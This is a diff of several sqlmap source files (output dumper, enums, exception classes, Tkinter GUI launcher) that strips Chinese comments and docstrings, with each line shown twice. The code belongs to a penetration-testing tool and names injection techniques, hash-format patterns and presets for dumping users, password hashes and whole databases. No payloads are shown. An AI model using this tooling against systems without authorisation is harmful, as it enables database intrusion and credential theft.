"""
self.string("banner", data, content_type=CONTENT_TYPE.BANNER) self.string("banner", data, content_type=CONTENT_TYPE.BANNER)
def currentUser(self, data): def currentUser(self, data):
"""
输出当前用户信息
参数:
data - 用户数据
"""
self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER)
def currentDb(self, data): def currentDb(self, data):
"""
输出当前数据库信息
参数:
data - 数据库数据
"""
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE):
self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) self.string("current database (equivalent to schema on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO): elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.DB2, DBMS.MIMERSQL, DBMS.MAXDB, DBMS.VIRTUOSO):
@ -247,51 +182,18 @@ class Dump(object):
self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)
def hostname(self, data): def hostname(self, data):
"""
输出主机名信息
参数:
data - 主机名数据
"""
self.string("hostname", data, content_type=CONTENT_TYPE.HOSTNAME) self.string("hostname", data, content_type=CONTENT_TYPE.HOSTNAME)
def dba(self, data): def dba(self, data):
"""
输出DBA权限信息
参数:
data - DBA权限数据
"""
self.string("current user is DBA", data, content_type=CONTENT_TYPE.IS_DBA) self.string("current user is DBA", data, content_type=CONTENT_TYPE.IS_DBA)
def users(self, users): def users(self, users):
"""
输出数据库用户列表
参数:
users - 用户列表
"""
self.lister("database management system users", users, content_type=CONTENT_TYPE.USERS) self.lister("database management system users", users, content_type=CONTENT_TYPE.USERS)
def statements(self, statements): def statements(self, statements):
"""
输出SQL语句列表
参数:
statements - SQL语句列表
"""
self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS) self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS)
def userSettings(self, header, userSettings, subHeader, content_type=None): def userSettings(self, header, userSettings, subHeader, content_type=None):
"""
输出用户设置信息
参数:
header - 标题
userSettings - 用户设置数据
subHeader - 子标题
content_type - 内容类型
"""
self._areAdmins = set() self._areAdmins = set()
if isinstance(userSettings, (tuple, list, set)): if isinstance(userSettings, (tuple, list, set)):
@ -330,21 +232,9 @@ class Dump(object):
self.singleString("") self.singleString("")
def dbs(self, dbs): def dbs(self, dbs):
"""
输出可用数据库列表
参数:
dbs - 数据库列表
"""
self.lister("available databases", dbs, content_type=CONTENT_TYPE.DBS) self.lister("available databases", dbs, content_type=CONTENT_TYPE.DBS)
def dbTables(self, dbTables): def dbTables(self, dbTables):
"""
输出数据库表信息
参数:
dbTables - 数据库表数据
"""
if isinstance(dbTables, dict) and len(dbTables) > 0: if isinstance(dbTables, dict) and len(dbTables) > 0:
if conf.api: if conf.api:
self._write(dbTables, content_type=CONTENT_TYPE.TABLES) self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
@ -387,13 +277,6 @@ class Dump(object):
self.string("tables", dbTables, content_type=CONTENT_TYPE.TABLES) self.string("tables", dbTables, content_type=CONTENT_TYPE.TABLES)
def dbTableColumns(self, tableColumns, content_type=None): def dbTableColumns(self, tableColumns, content_type=None):
"""
输出数据库表列信息
参数:
tableColumns - 表列数据
content_type - 内容类型
"""
if isinstance(tableColumns, dict) and len(tableColumns) > 0: if isinstance(tableColumns, dict) and len(tableColumns) > 0:
if conf.api: if conf.api:
self._write(tableColumns, content_type=content_type) self._write(tableColumns, content_type=content_type)
@ -467,12 +350,6 @@ class Dump(object):
self._write("+%s+\n" % lines1) self._write("+%s+\n" % lines1)
def dbTablesCount(self, dbTables): def dbTablesCount(self, dbTables):
"""
输出数据库表数量信息
参数:
dbTables - 数据库表数据
"""
if isinstance(dbTables, dict) and len(dbTables) > 0: if isinstance(dbTables, dict) and len(dbTables) > 0:
if conf.api: if conf.api:
self._write(dbTables, content_type=CONTENT_TYPE.COUNT) self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
@ -518,12 +395,6 @@ class Dump(object):
logger.error("unable to retrieve the number of entries for any table") logger.error("unable to retrieve the number of entries for any table")
def dbTableValues(self, tableValues): def dbTableValues(self, tableValues):
"""
输出数据库表值信息
参数:
tableValues - 表值数据
"""
replication = None replication = None
rtable = None rtable = None
dumpFP = None dumpFP = None

@ -6,7 +6,6 @@ See the file 'LICENSE' for copying permission
""" """
class PRIORITY(object): class PRIORITY(object):
# 定义优先级常量
LOWEST = -100 LOWEST = -100
LOWER = -50 LOWER = -50
LOW = -10 LOW = -10
@ -16,7 +15,6 @@ class PRIORITY(object):
HIGHEST = 100 HIGHEST = 100
class SORT_ORDER(object): class SORT_ORDER(object):
# 定义排序顺序常量
FIRST = 0 FIRST = 0
SECOND = 1 SECOND = 1
THIRD = 2 THIRD = 2
@ -26,7 +24,6 @@ class SORT_ORDER(object):
# Reference: https://docs.python.org/2/library/logging.html#logging-levels # Reference: https://docs.python.org/2/library/logging.html#logging-levels
class LOGGING_LEVELS(object): class LOGGING_LEVELS(object):
# 定义日志级别常量
NOTSET = 0 NOTSET = 0
DEBUG = 10 DEBUG = 10
INFO = 20 INFO = 20
@ -35,7 +32,6 @@ class LOGGING_LEVELS(object):
CRITICAL = 50 CRITICAL = 50
class DBMS(object): class DBMS(object):
# 定义数据库管理系统常量
ACCESS = "Microsoft Access" ACCESS = "Microsoft Access"
DB2 = "IBM DB2" DB2 = "IBM DB2"
FIREBIRD = "Firebird" FIREBIRD = "Firebird"
@ -66,7 +62,6 @@ class DBMS(object):
VIRTUOSO = "Virtuoso" VIRTUOSO = "Virtuoso"
class DBMS_DIRECTORY_NAME(object): class DBMS_DIRECTORY_NAME(object):
# 定义数据库管理系统目录名称常量
ACCESS = "access" ACCESS = "access"
DB2 = "db2" DB2 = "db2"
FIREBIRD = "firebird" FIREBIRD = "firebird"
@ -97,7 +92,6 @@ class DBMS_DIRECTORY_NAME(object):
VIRTUOSO = "virtuoso" VIRTUOSO = "virtuoso"
class FORK(object): class FORK(object):
# 定义分支数据库管理系统常量
MARIADB = "MariaDB" MARIADB = "MariaDB"
MEMSQL = "MemSQL" MEMSQL = "MemSQL"
PERCONA = "Percona" PERCONA = "Percona"
@ -115,18 +109,15 @@ class FORK(object):
OPENGAUSS = "OpenGauss" OPENGAUSS = "OpenGauss"
class CUSTOM_LOGGING(object): class CUSTOM_LOGGING(object):
# 定义自定义日志常量
PAYLOAD = 9 PAYLOAD = 9
TRAFFIC_OUT = 8 TRAFFIC_OUT = 8
TRAFFIC_IN = 7 TRAFFIC_IN = 7
class OS(object): class OS(object):
# 定义操作系统常量
LINUX = "Linux" LINUX = "Linux"
WINDOWS = "Windows" WINDOWS = "Windows"
class PLACE(object): class PLACE(object):
# 定义位置常量
GET = "GET" GET = "GET"
POST = "POST" POST = "POST"
URI = "URI" URI = "URI"
@ -138,7 +129,6 @@ class PLACE(object):
CUSTOM_HEADER = "(custom) HEADER" CUSTOM_HEADER = "(custom) HEADER"
class POST_HINT(object): class POST_HINT(object):
# 定义POST提示常量
SOAP = "SOAP" SOAP = "SOAP"
JSON = "JSON" JSON = "JSON"
JSON_LIKE = "JSON-like" JSON_LIKE = "JSON-like"
@ -147,7 +137,6 @@ class POST_HINT(object):
ARRAY_LIKE = "Array-like" ARRAY_LIKE = "Array-like"
class HTTPMETHOD(object): class HTTPMETHOD(object):
# 定义HTTP方法常量
GET = "GET" GET = "GET"
POST = "POST" POST = "POST"
HEAD = "HEAD" HEAD = "HEAD"
@ -159,18 +148,15 @@ class HTTPMETHOD(object):
PATCH = "PATCH" PATCH = "PATCH"
class NULLCONNECTION(object): class NULLCONNECTION(object):
# 定义空连接常量
HEAD = "HEAD" HEAD = "HEAD"
RANGE = "Range" RANGE = "Range"
SKIP_READ = "skip-read" SKIP_READ = "skip-read"
class REFLECTIVE_COUNTER(object): class REFLECTIVE_COUNTER(object):
# 定义反射计数器常量
MISS = "MISS" MISS = "MISS"
HIT = "HIT" HIT = "HIT"
class CHARSET_TYPE(object): class CHARSET_TYPE(object):
# 定义字符集类型常量
BINARY = 1 BINARY = 1
DIGITS = 2 DIGITS = 2
HEXADECIMAL = 3 HEXADECIMAL = 3
@ -178,13 +164,11 @@ class CHARSET_TYPE(object):
ALPHANUM = 5 ALPHANUM = 5
class HEURISTIC_TEST(object): class HEURISTIC_TEST(object):
# 定义启发式测试常量
CASTED = 1 CASTED = 1
NEGATIVE = 2 NEGATIVE = 2
POSITIVE = 3 POSITIVE = 3
class HASH(object): class HASH(object):
# 定义哈希常量
MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z'
MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z'
POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z' POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z'
@ -232,26 +216,22 @@ class MOBILES(object):
XIAOMI = ("Xiaomi Mi 8 Pro", "Mozilla/5.0 (Linux; Android 9; MI 8 Pro Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.66 Mobile Safari/537.36") XIAOMI = ("Xiaomi Mi 8 Pro", "Mozilla/5.0 (Linux; Android 9; MI 8 Pro Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.66 Mobile Safari/537.36")
class PROXY_TYPE(object): class PROXY_TYPE(object):
# 代理类型
HTTP = "HTTP" HTTP = "HTTP"
HTTPS = "HTTPS" HTTPS = "HTTPS"
SOCKS4 = "SOCKS4" SOCKS4 = "SOCKS4"
SOCKS5 = "SOCKS5" SOCKS5 = "SOCKS5"
class REGISTRY_OPERATION(object): class REGISTRY_OPERATION(object):
# 注册表操作
READ = "read" READ = "read"
ADD = "add" ADD = "add"
DELETE = "delete" DELETE = "delete"
class DUMP_FORMAT(object): class DUMP_FORMAT(object):
# 导出格式
CSV = "CSV" CSV = "CSV"
HTML = "HTML" HTML = "HTML"
SQLITE = "SQLITE" SQLITE = "SQLITE"
class HTTP_HEADER(object): class HTTP_HEADER(object):
# HTTP头
ACCEPT = "Accept" ACCEPT = "Accept"
ACCEPT_CHARSET = "Accept-Charset" ACCEPT_CHARSET = "Accept-Charset"
ACCEPT_ENCODING = "Accept-Encoding" ACCEPT_ENCODING = "Accept-Encoding"
@ -286,19 +266,16 @@ class HTTP_HEADER(object):
X_DATA_ORIGIN = "X-Data-Origin" X_DATA_ORIGIN = "X-Data-Origin"
class EXPECTED(object): class EXPECTED(object):
# 预期类型
BOOL = "bool" BOOL = "bool"
INT = "int" INT = "int"
class OPTION_TYPE(object): class OPTION_TYPE(object):
# 选项类型
BOOLEAN = "boolean" BOOLEAN = "boolean"
INTEGER = "integer" INTEGER = "integer"
FLOAT = "float" FLOAT = "float"
STRING = "string" STRING = "string"
class HASHDB_KEYS(object): class HASHDB_KEYS(object):
# HASHDB键
DBMS = "DBMS" DBMS = "DBMS"
DBMS_FORK = "DBMS_FORK" DBMS_FORK = "DBMS_FORK"
CHECK_WAF_RESULT = "CHECK_WAF_RESULT" CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
@ -315,12 +292,10 @@ class HASHDB_KEYS(object):
OS = "OS" OS = "OS"
class REDIRECTION(object): class REDIRECTION(object):
# 重定向
YES = 'Y' YES = 'Y'
NO = 'N' NO = 'N'
class PAYLOAD(object): class PAYLOAD(object):
# 载荷
SQLINJECTION = { SQLINJECTION = {
1: "boolean-based blind", 1: "boolean-based blind",
2: "error-based", 2: "error-based",
@ -360,14 +335,12 @@ class PAYLOAD(object):
} }
class METHOD(object): class METHOD(object):
# 方法
COMPARISON = "comparison" COMPARISON = "comparison"
GREP = "grep" GREP = "grep"
TIME = "time" TIME = "time"
UNION = "union" UNION = "union"
class TECHNIQUE(object): class TECHNIQUE(object):
# 技术
BOOLEAN = 1 BOOLEAN = 1
ERROR = 2 ERROR = 2
QUERY = 3 QUERY = 3
@ -376,32 +349,27 @@ class PAYLOAD(object):
UNION = 6 UNION = 6
class WHERE(object): class WHERE(object):
# WHERE子句
ORIGINAL = 1 ORIGINAL = 1
NEGATIVE = 2 NEGATIVE = 2
REPLACE = 3 REPLACE = 3
class WIZARD(object): class WIZARD(object):
# 向导
BASIC = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba") BASIC = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba")
INTERMEDIATE = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getUsers", "getDbs", "getTables", "getSchema", "excludeSysDbs") INTERMEDIATE = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getUsers", "getDbs", "getTables", "getSchema", "excludeSysDbs")
ALL = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getHostname", "getUsers", "getPasswordHashes", "getPrivileges", "getRoles", "dumpAll") ALL = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getHostname", "getUsers", "getPasswordHashes", "getPrivileges", "getRoles", "dumpAll")
class ADJUST_TIME_DELAY(object): class ADJUST_TIME_DELAY(object):
# 调整时间延迟
DISABLE = -1 DISABLE = -1
NO = 0 NO = 0
YES = 1 YES = 1
class WEB_PLATFORM(object): class WEB_PLATFORM(object):
# 网络平台
PHP = "php" PHP = "php"
ASP = "asp" ASP = "asp"
ASPX = "aspx" ASPX = "aspx"
JSP = "jsp" JSP = "jsp"
class CONTENT_TYPE(object): class CONTENT_TYPE(object):
# 内容类型
TARGET = 0 TARGET = 0
TECHNIQUES = 1 TECHNIQUES = 1
DBMS_FINGERPRINT = 2 DBMS_FINGERPRINT = 2
@ -431,12 +399,10 @@ class CONTENT_TYPE(object):
STATEMENTS = 26 STATEMENTS = 26
class CONTENT_STATUS(object): class CONTENT_STATUS(object):
# 内容状态
IN_PROGRESS = 0 IN_PROGRESS = 0
COMPLETE = 1 COMPLETE = 1
class AUTH_TYPE(object): class AUTH_TYPE(object):
# 认证类型
BASIC = "basic" BASIC = "basic"
DIGEST = "digest" DIGEST = "digest"
BEARER = "bearer" BEARER = "bearer"
@ -444,18 +410,15 @@ class AUTH_TYPE(object):
PKI = "pki" PKI = "pki"
class AUTOCOMPLETE_TYPE(object): class AUTOCOMPLETE_TYPE(object):
# 定义自动补全类型
SQL = 0 SQL = 0
OS = 1 OS = 1
SQLMAP = 2 SQLMAP = 2
API = 3 API = 3
class NOTE(object): class NOTE(object):
# 定义注释类型
FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable" FALSE_POSITIVE_OR_UNEXPLOITABLE = "false positive or unexploitable"
class MKSTEMP_PREFIX(object): class MKSTEMP_PREFIX(object):
# 定义mkstemp前缀
HASHES = "sqlmaphashes-" HASHES = "sqlmaphashes-"
CRAWLER = "sqlmapcrawler-" CRAWLER = "sqlmapcrawler-"
IPC = "sqlmapipc-" IPC = "sqlmapipc-"
@ -468,24 +431,20 @@ class MKSTEMP_PREFIX(object):
PREPROCESS = "sqlmappreprocess-" PREPROCESS = "sqlmappreprocess-"
class TIMEOUT_STATE(object): class TIMEOUT_STATE(object):
# 定义超时状态
NORMAL = 0 NORMAL = 0
EXCEPTION = 1 EXCEPTION = 1
TIMEOUT = 2 TIMEOUT = 2
class HINT(object): class HINT(object):
# 定义提示类型
PREPEND = 0 PREPEND = 0
APPEND = 1 APPEND = 1
class FUZZ_UNION_COLUMN: class FUZZ_UNION_COLUMN:
# 定义模糊联合列类型
STRING = "<string>" STRING = "<string>"
INTEGER = "<integer>" INTEGER = "<integer>"
NULL = "NULL" NULL = "NULL"
class COLOR: class COLOR:
# 定义颜色
BLUE = "\033[34m" BLUE = "\033[34m"
BOLD_MAGENTA = "\033[35;1m" BOLD_MAGENTA = "\033[35;1m"
BOLD_GREEN = "\033[32;1m" BOLD_GREEN = "\033[32;1m"
@ -522,7 +481,6 @@ class COLOR:
UNDERLINE = "\033[4m" UNDERLINE = "\033[4m"
class BACKGROUND: class BACKGROUND:
# 定义背景颜色
BLUE = "\033[44m" BLUE = "\033[44m"
LIGHT_GRAY = "\033[47m" LIGHT_GRAY = "\033[47m"
YELLOW = "\033[43m" YELLOW = "\033[43m"

@ -5,98 +5,74 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 定义一个SqlmapBaseException类继承自Exception类
class SqlmapBaseException(Exception): class SqlmapBaseException(Exception):
pass pass
# 定义一个SqlmapCompressionException类继承自SqlmapBaseException类
class SqlmapCompressionException(SqlmapBaseException): class SqlmapCompressionException(SqlmapBaseException):
pass pass
# 定义一个SqlmapConnectionException类继承自SqlmapBaseException类
class SqlmapConnectionException(SqlmapBaseException): class SqlmapConnectionException(SqlmapBaseException):
pass pass
# 定义一个SqlmapDataException类继承自SqlmapBaseException类
class SqlmapDataException(SqlmapBaseException): class SqlmapDataException(SqlmapBaseException):
pass pass
# 定义一个SqlmapFilePathException类继承自SqlmapBaseException类
class SqlmapFilePathException(SqlmapBaseException): class SqlmapFilePathException(SqlmapBaseException):
pass pass
# 定义一个SqlmapGenericException类继承自SqlmapBaseException类
class SqlmapGenericException(SqlmapBaseException): class SqlmapGenericException(SqlmapBaseException):
pass pass
# 定义一个SqlmapInstallationException类继承自SqlmapBaseException类
class SqlmapInstallationException(SqlmapBaseException): class SqlmapInstallationException(SqlmapBaseException):
pass pass
# 定义一个SqlmapMissingDependence类继承自SqlmapBaseException类
class SqlmapMissingDependence(SqlmapBaseException): class SqlmapMissingDependence(SqlmapBaseException):
pass pass
# 定义一个SqlmapMissingMandatoryOptionException类继承自SqlmapBaseException类
class SqlmapMissingMandatoryOptionException(SqlmapBaseException): class SqlmapMissingMandatoryOptionException(SqlmapBaseException):
pass pass
# 定义一个SqlmapMissingPrivileges类继承自SqlmapBaseException类
class SqlmapMissingPrivileges(SqlmapBaseException): class SqlmapMissingPrivileges(SqlmapBaseException):
pass pass
# 定义一个SqlmapNoneDataException类继承自SqlmapBaseException类
class SqlmapNoneDataException(SqlmapBaseException): class SqlmapNoneDataException(SqlmapBaseException):
pass pass
# 定义一个SqlmapNotVulnerableException类继承自SqlmapBaseException类
class SqlmapNotVulnerableException(SqlmapBaseException): class SqlmapNotVulnerableException(SqlmapBaseException):
pass pass
# 定义一个SqlmapSilentQuitException类继承自SqlmapBaseException类
class SqlmapSilentQuitException(SqlmapBaseException): class SqlmapSilentQuitException(SqlmapBaseException):
pass pass
# 定义一个SqlmapUserQuitException类继承自SqlmapBaseException类
class SqlmapUserQuitException(SqlmapBaseException): class SqlmapUserQuitException(SqlmapBaseException):
pass pass
# 定义一个SqlmapShellQuitException类继承自SqlmapBaseException类
class SqlmapShellQuitException(SqlmapBaseException): class SqlmapShellQuitException(SqlmapBaseException):
pass pass
# 定义一个SqlmapSkipTargetException类继承自SqlmapBaseException类
class SqlmapSkipTargetException(SqlmapBaseException): class SqlmapSkipTargetException(SqlmapBaseException):
pass pass
# 定义一个SqlmapSyntaxException类继承自SqlmapBaseException类
class SqlmapSyntaxException(SqlmapBaseException): class SqlmapSyntaxException(SqlmapBaseException):
pass pass
# 定义一个SqlmapSystemException类继承自SqlmapBaseException类
class SqlmapSystemException(SqlmapBaseException): class SqlmapSystemException(SqlmapBaseException):
pass pass
# 定义一个SqlmapThreadException类继承自SqlmapBaseException类
class SqlmapThreadException(SqlmapBaseException): class SqlmapThreadException(SqlmapBaseException):
pass pass
# 定义一个SqlmapTokenException类继承自SqlmapBaseException类
class SqlmapTokenException(SqlmapBaseException): class SqlmapTokenException(SqlmapBaseException):
pass pass
# 定义一个SqlmapUndefinedMethod类继承自SqlmapBaseException类
class SqlmapUndefinedMethod(SqlmapBaseException): class SqlmapUndefinedMethod(SqlmapBaseException):
pass pass
# 定义一个SqlmapUnsupportedDBMSException类继承自SqlmapBaseException类
class SqlmapUnsupportedDBMSException(SqlmapBaseException): class SqlmapUnsupportedDBMSException(SqlmapBaseException):
pass pass
# 定义一个SqlmapUnsupportedFeatureException类继承自SqlmapBaseException类
class SqlmapUnsupportedFeatureException(SqlmapBaseException): class SqlmapUnsupportedFeatureException(SqlmapBaseException):
pass pass
# 定义一个SqlmapValueException类继承自SqlmapBaseException类
class SqlmapValueException(SqlmapBaseException): class SqlmapValueException(SqlmapBaseException):
pass pass

@ -30,16 +30,12 @@ from lib.core.settings import VERSION_STRING
from lib.core.settings import WIKI_PAGE from lib.core.settings import WIKI_PAGE
from thirdparty.six.moves import queue as _queue from thirdparty.six.moves import queue as _queue
# 定义全局变量
alive = None alive = None
line = "" line = ""
process = None process = None
queue = None queue = None
def runGui(parser): def runGui(parser):
"""
运行GUI界面
"""
try: try:
from thirdparty.six.moves import tkinter as _tkinter from thirdparty.six.moves import tkinter as _tkinter
from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext
@ -50,9 +46,6 @@ def runGui(parser):
# Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x
class ConstrainedEntry(_tkinter.Entry): class ConstrainedEntry(_tkinter.Entry):
"""
限制用户输入的类
"""
def __init__(self, master=None, **kwargs): def __init__(self, master=None, **kwargs):
self.var = _tkinter.StringVar() self.var = _tkinter.StringVar()
self.regex = kwargs["regex"] self.regex = kwargs["regex"]
@ -70,9 +63,6 @@ def runGui(parser):
# Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/ # Reference: https://code.activestate.com/recipes/580726-tkinter-notebook-that-fits-to-the-height-of-every-/
class AutoresizableNotebook(_tkinter_ttk.Notebook): class AutoresizableNotebook(_tkinter_ttk.Notebook):
"""
自动调整大小的Notebook类
"""
def __init__(self, master=None, **kw): def __init__(self, master=None, **kw):
_tkinter_ttk.Notebook.__init__(self, master, **kw) _tkinter_ttk.Notebook.__init__(self, master, **kw)
self.bind("<<NotebookTabChanged>>", self._on_tab_changed) self.bind("<<NotebookTabChanged>>", self._on_tab_changed)
@ -112,100 +102,70 @@ def runGui(parser):
window.deiconify() window.deiconify()
def onKeyPress(event): def onKeyPress(event):
# 当按键按下时获取全局变量line和queue
global line global line
global queue global queue
# 如果process存在
if process: if process:
# 如果按下的键是退格键
if event.char == '\b': if event.char == '\b':
# 将line的最后一个字符删除
line = line[:-1] line = line[:-1]
else: else:
# 否则将按下的键添加到line中
line += event.char line += event.char
def onReturnPress(event): def onReturnPress(event):
# 当回车键按下时获取全局变量line和queue
global line global line
global queue global queue
# 如果process存在
if process: if process:
try: try:
# 将line写入process的stdin并刷新
process.stdin.write(("%s\n" % line.strip()).encode()) process.stdin.write(("%s\n" % line.strip()).encode())
process.stdin.flush() process.stdin.flush()
except socket.error: except socket.error:
# 如果发生socket错误将line置为空关闭窗口并返回"break"
line = "" line = ""
event.widget.master.master.destroy() event.widget.master.master.destroy()
return "break" return "break"
except: except:
# 如果发生其他错误,返回
return return
# 在text中插入一个换行符
event.widget.insert(_tkinter.END, "\n") event.widget.insert(_tkinter.END, "\n")
# 返回"break"
return "break" return "break"
def run(): def run():
# 获取全局变量alive、process和queue
global alive global alive
global process global process
global queue global queue
# 创建一个空字典config
config = {} config = {}
# 遍历window._widgets中的键值对
for key in window._widgets: for key in window._widgets:
# 获取键值对中的dest和type
dest, type = key dest, type = key
# 获取键值对中的widget
widget = window._widgets[key] widget = window._widgets[key]
# 如果widget有get方法且返回值为空则将value置为None
if hasattr(widget, "get") and not widget.get(): if hasattr(widget, "get") and not widget.get():
value = None value = None
# 如果type为"string"则将value置为widget.get()
elif type == "string": elif type == "string":
value = widget.get() value = widget.get()
# 如果type为"float"则将value置为float(widget.get())
elif type == "float": elif type == "float":
value = float(widget.get()) value = float(widget.get())
# 如果type为"int"则将value置为int(widget.get())
elif type == "int": elif type == "int":
value = int(widget.get()) value = int(widget.get())
# 否则将value置为bool(widget.var.get())
else: else:
value = bool(widget.var.get()) value = bool(widget.var.get())
# 将value添加到config中
config[dest] = value config[dest] = value
# 遍历parser.option_list中的option
for option in parser.option_list: for option in parser.option_list:
# 将option.dest添加到config中如果defaults中有option.dest则将defaults[option.dest]添加到config中否则将None添加到config中
config[option.dest] = defaults.get(option.dest, None) config[option.dest] = defaults.get(option.dest, None)
# 创建一个临时文件并将config保存到该文件中
handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True)
os.close(handle) os.close(handle)
saveConfig(config, configFile) saveConfig(config, configFile)
# 定义一个函数enqueue用于将stream中的内容放入queue中
def enqueue(stream, queue): def enqueue(stream, queue):
# 获取全局变量alive
global alive global alive
# 遍历stream中的每一行
for line in iter(stream.readline, b''): for line in iter(stream.readline, b''):
# 将line放入queue中
queue.put(line) queue.put(line)
alive = False alive = False
@ -213,7 +173,6 @@ def runGui(parser):
alive = True alive = True
# 使用subprocess.Popen启动sqlmap.py
process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN) process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN)
# Reference: https://stackoverflow.com/a/4896288 # Reference: https://stackoverflow.com/a/4896288
@ -247,10 +206,8 @@ def runGui(parser):
if not alive: if not alive:
break break
# 创建菜单栏
menubar = _tkinter.Menu(window) menubar = _tkinter.Menu(window)
# 创建文件菜单
filemenu = _tkinter.Menu(menubar, tearoff=0) filemenu = _tkinter.Menu(menubar, tearoff=0)
filemenu.add_command(label="Open", state=_tkinter.DISABLED) filemenu.add_command(label="Open", state=_tkinter.DISABLED)
filemenu.add_command(label="Save", state=_tkinter.DISABLED) filemenu.add_command(label="Save", state=_tkinter.DISABLED)
@ -258,10 +215,8 @@ def runGui(parser):
filemenu.add_command(label="Exit", command=window.quit) filemenu.add_command(label="Exit", command=window.quit)
menubar.add_cascade(label="File", menu=filemenu) menubar.add_cascade(label="File", menu=filemenu)
# 添加运行按钮
menubar.add_command(label="Run", command=run) menubar.add_command(label="Run", command=run)
# 创建帮助菜单
helpmenu = _tkinter.Menu(menubar, tearoff=0) helpmenu = _tkinter.Menu(menubar, tearoff=0)
helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE))
helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE)) helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE))
@ -271,17 +226,14 @@ def runGui(parser):
helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2024\n\n (%s)" % DEV_EMAIL_ADDRESS)) helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "Copyright (c) 2006-2024\n\n (%s)" % DEV_EMAIL_ADDRESS))
menubar.add_cascade(label="Help", menu=helpmenu) menubar.add_cascade(label="Help", menu=helpmenu)
# 将菜单栏添加到窗口
window.config(menu=menubar) window.config(menu=menubar)
window._widgets = {} window._widgets = {}
# 创建可调整大小的Notebook
notebook = AutoresizableNotebook(window) notebook = AutoresizableNotebook(window)
first = None first = None
frames = {} frames = {}
# 遍历所有选项组
for group in parser.option_groups: for group in parser.option_groups:
frame = frames[group.title] = _tkinter.Frame(notebook, width=200, height=200) frame = frames[group.title] = _tkinter.Frame(notebook, width=200, height=200)
notebook.add(frames[group.title], text=group.title) notebook.add(frames[group.title], text=group.title)
@ -294,11 +246,9 @@ def runGui(parser):
_tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W) _tkinter.Label(frame).grid(column=0, row=2, sticky=_tkinter.W)
row += 2 row += 2
# 遍历每个选项
for option in group.option_list: for option in group.option_list:
_tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=_tkinter.W) _tkinter.Label(frame, text="%s " % parser.formatter._format_option_strings(option)).grid(column=0, row=row, sticky=_tkinter.W)
# 根据选项类型创建相应的控件
if option.type == "string": if option.type == "string":
widget = _tkinter.Entry(frame) widget = _tkinter.Entry(frame)
elif option.type == "float": elif option.type == "float":
@ -315,7 +265,6 @@ def runGui(parser):
window._widgets[(option.dest, option.type)] = widget window._widgets[(option.dest, option.type)] = widget
# 设置默认值
default = defaults.get(option.dest) default = defaults.get(option.dest)
if default: if default:
